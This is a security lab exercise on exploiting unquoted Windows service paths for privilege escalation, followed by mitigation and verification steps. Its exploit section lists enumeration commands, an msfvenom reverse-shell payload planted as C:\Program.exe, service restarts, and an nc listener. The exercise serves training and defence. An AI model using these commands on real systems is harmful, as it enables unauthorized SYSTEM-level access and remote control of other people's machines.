Exercise 33: Exploiting Unquoted Service Paths in Windows

Objective: Exploit unquoted service paths in Windows to execute malicious payloads with elevated privileges, and learn how to mitigate such vulnerabilities by securing service configurations.

---

Scenario: Unquoted service paths in Windows occur when the path to a service executable contains spaces and is not enclosed in quotes. This allows attackers to place malicious executables in locations that the system might mistakenly prioritize, leading to privilege escalation. Your task is to identify and exploit such vulnerabilities and secure the service paths.

---

Lab Setup

1. Environment:
   • A Windows system with services that may have unquoted paths.
2. Tools Required:
   • Command Prompt or PowerShell.
   • Access to administrative privileges.

---

Lab Steps

Step 1: Enumerate Services and Identify Unquoted Paths

1. Use the sc qc command to query service configurations: sc qc <service_name>
   • Example output: SERVICE_NAME: VulnerableService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Vulnerable Service\service.exe
   • Note the BINARY_PATH_NAME. If it contains spaces and is not enclosed in quotes, it is vulnerable.
2. Use wmic to list all services and identify potential issues: wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "\""
   • This lists services with unquoted paths that start automatically.

Step 2: Exploit the Vulnerable Service Path

1. Identify potential injection points:
   • For a path like C:\Program Files\Vulnerable Service\service.exe, Windows searches for executables in the following order:
     • C:\Program.exe
     • C:\Program Files\Vulnerable.exe
     • C:\Program Files\Vulnerable Service\service.exe
2. Create a malicious executable in the highest-priority location (e.g., C:\Program.exe): msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=<your_port> -f exe -o "C:\Program.exe"
   • Replace <your_ip> and <your_port> with your listener’s IP address and port.
3. Restart the vulnerable service to trigger the exploit: net stop <service_name> net start <service_name>
4. Set up a listener on your machine to catch the reverse shell: nc -lvnp <your_port>
5. Verify the reverse shell connection.

Step 3: Verify Privilege Escalation

1. Confirm that the payload executed with elevated privileges: whoami
   • Expected output: NT AUTHORITY\SYSTEM.
2. Document the steps used to exploit the unquoted service path.

---

Solution

Explanation:

• Windows services with unquoted paths allow attackers to place malicious executables in directories searched before the intended executable.

Prevention:

1. Quote Service Paths:
   • Edit the service configuration to enclose the path in quotes: sc config <service_name> binPath= "C:\Program Files\Vulnerable Service\service.exe"
2. Audit Services:
   • Regularly review service configurations for unquoted paths using PowerShell: Get-WmiObject win32_service | Where-Object {$_.PathName -match ' '} | Select-Object Name, PathName
3. Restrict Permissions:
   • Ensure directories along the service path are not writable by non-administrative users.
4. Monitor and Log Service Activity:
   • Use Windows Event Viewer to track service changes and restarts.

---

Testing and Verification

1. Re-query the service configuration to confirm the path is enclosed in quotes.
2. Attempt to exploit the service again to ensure the vulnerability has been mitigated.
3. Verify that only authorized users can modify files in the service path.

---

Reflection

This exercise demonstrates how unquoted service paths in Windows can be exploited for privilege escalation. By identifying and mitigating these vulnerabilities, you’ve gained valuable insights into securing Windows services and preventing unauthorized access.